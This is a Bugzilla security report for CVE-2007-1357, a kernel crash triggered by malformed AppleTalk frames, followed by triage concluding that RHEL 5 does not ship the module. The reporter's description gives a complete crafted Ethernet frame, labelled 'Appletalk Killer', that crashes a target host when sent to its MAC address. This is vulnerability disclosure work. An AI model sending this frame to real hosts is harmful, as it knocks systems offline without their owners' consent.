Bugzilla will be upgraded to version 5.0. The upgrade date is tentatively scheduled for 2 December 2018, pending final testing and feedback.
Bug 235857 - CVE-2007-1357 Remotely triggerable crash in AppleTalk
CVE-2007-1357 Remotely triggerable crash in AppleTalk
Product: Red Hat Enterprise Linux 5
Classification: Red Hat
Component: kernel (Show other bugs)
All Linux
medium Severity high
: ---
: ---
Assigned To: Don Zickus
Martin Jenner
: Security
Depends On:
  Show dependency treegraph
Reported: 2007-04-10 11:17 EDT by Marcel Holtmann
Modified: 2007-11-30 17:07 EST (History)
1 user (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2007-06-06 08:34:13 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

  None (edit)
Description Marcel Holtmann 2007-04-10 11:17:53 EDT
When we receive an AppleTalk frame shorter than what its header says, we still
attempt to verify its checksum, and trip on the BUG_ON() at the end of function
atalk_sum_skb() because of the length mismatch.

This has security implications because this can be triggered by simply sending a
specially crafted ethernet frame to a target victim, effectively crashing that
host. Thus this qualifies, I think, as a remote DoS. Here is the frame I used to
trigger the crash, in npg format:

   <Appletalk Killer>
    # Ethernet header -----
      XX XX XX XX XX XX  # Destination MAC
      00 00 00 00 00 00  # Source MAC
      00 1D              # Length
    # LLC header -----
      AA AA 03
      08 00 07 80 9B  # Appletalk
    # Appletalk header -----
      00 1B        # Packet length (invalid)
      00 01        # Fake checksum
      00 00 00 00  # Destination and source networks
      00 00 00 00  # Destination and source nodes and ports
    # Payload -----
      0C 0D 0E 0F 10 11 12 13

The destination MAC address must be set to those of the victim.
The severity is mitigated by two requirements:
* The target host must have the appletalk kernel module loaded. I suspect this
isn't so frequent.
* AppleTalk frames are non-IP, thus I guess they can only travel on local
networks. I am no network expert though, maybe it is possible to somehow
encapsulate AppleTalk packets over IP.
Comment 2 Marcel Holtmann 2007-04-10 18:06:41 EDT
The appletalk.ko kernel module is not build. So the kernel is _NOT_ vulnerable,
but our source RPM contains some weird config files:

# grep ATALK *config*
config-olpc-generic:# CONFIG_ATALK is not set
config-rhel-generic:# CONFIG_ATALK is not set

Can someone explain what happened here?
Comment 3 Don Zickus 2007-04-30 18:04:49 EDT
We treat fedora as the superset for our src.rpms.  This is why ATALK is enabled
in kernel-*.config (because fedora enables it).  For subset kernels, ie rhel or
olpc, we throw down a final set of config options to disable what we don't want
to support.  In the rhel-5 case this would be, config-rhel-generic.  

As you can see above, config-rhel-generic has CONFIG_ATALK disabled.  When we
build the rhel kernel, the final kernel-*.config output has CONFIG_ATALK disabled.

I presume we can close this as NOTABUG because we don't support AppleTalk.

Note You need to log in before you can comment on or make changes to this bug.